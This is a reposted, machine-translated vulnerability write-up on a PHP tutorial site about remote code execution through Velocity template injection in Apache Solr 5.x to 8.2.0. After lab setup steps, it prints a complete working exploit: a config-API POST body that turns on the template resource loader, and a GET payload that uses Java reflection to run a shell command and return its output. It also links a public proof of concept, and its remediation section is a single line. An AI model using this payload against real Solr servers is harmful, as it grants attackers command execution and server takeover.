Home  >  Article  >  Operation and Maintenance  >  Example analysis of Apache Solr velocity template injection RCE vulnerability

Example analysis of Apache Solr velocity template injection RCE vulnerability

WBOY
WBOYforward
2023-05-19 10:37:13984browse

0x01 Introduction

Solr is an enterprise-level independent search application server that can provide services to the outside world through the Web service API interface. Users can submit XML files in a certain format to the search engine server through http requests to generate indexes; they can also make search requests through Http Get operations and get returned results in XML format. Apache Solr velocity模板注入RCE漏洞的示例分析

0x02 Vulnerability Introduction

The VelocityResponseWriter component exists in Solr. An attacker can construct a specific request to modify the relevant configuration so that the VelocityResponseWriter component allows Loading the specified template causes the Velocity template to inject a remote command execution vulnerability. An attacker can use this vulnerability to directly obtain server permissions.

0x03 Scope of impact

Apache Solr 5.x - 8.2.0, config API version

exists 0x04 Environment Construction

Install the java8 environment, and then download Solr, download address:

https://www.apache.org/dyn/closer.lua /lucene/solr/8.2.0/solr-8.2.0.zip

After downloading, decompress and enter the bin directory to execute./solr start

unzip solr-8.2.0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

Some warning messages will appear during startup. We can eliminate them by modifying the solr.in.sh file under bin and setting SOLR_ULIMIT_CHECKS to false

vim solr.in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

Then start again./solr start If root startup fails, add -force after itApache Solr velocity模板注入RCE漏洞的示例分析

Visit http://ip:8983 in the browser, and the following interface appears to indicate that the installation is successfulApache Solr velocity模板注入RCE漏洞的示例分析

But it is found that the core cannot be createdApache Solr velocity模板注入RCE漏洞的示例分析

We first manually install it in /server/solr Create a new_core folder in the / directory, then copy the conf directory under /server/solr/configsets/_default/ to the new_core directory, and then click CreateApache Solr velocity模板注入RCE漏洞的示例分析

0x05 vulnerability recurrence

After creating the Core, visit to see if the application config file can be accessed

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr integrates the VelocityResponseWriter plug-in by default. The default value of params.resource.loader.enabled in the plug-in initialization parameter is set to false. However, the integration settings can be directly modified through a POST request, setting it to true, and then You can construct special GET requests to achieve remote code execution.

Use Burp to grab the package of this page, construct a POST request directly, and add the following data

{

"update-queryresponsewriter": {

" startup": "lazy",

"name": "velocity",

"class": "solr.VelocityResponseWriter",

"template.base.dir" : "",

"solr.resource.loader.enabled": "true",

"params.resource.loader.enabled": "true"

}

}

Apache Solr velocity模板注入RCE漏洞的示例分析

Next we can construct the payload to implement RCE

payload:

http:// ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang .Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) # set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out .available()])$str.valueOf($chr.toChars($out.read()))#end

Apache Solr velocity模板注入RCE漏洞的示例分析

POC address: https://github. com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

##0x06 Repair method

Update to the latest version

The above is the detailed content of Example analysis of Apache Solr velocity template injection RCE vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Statement:
This article is reproduced at:yisu.com. If there is any infringement, please contact admin@php.cn delete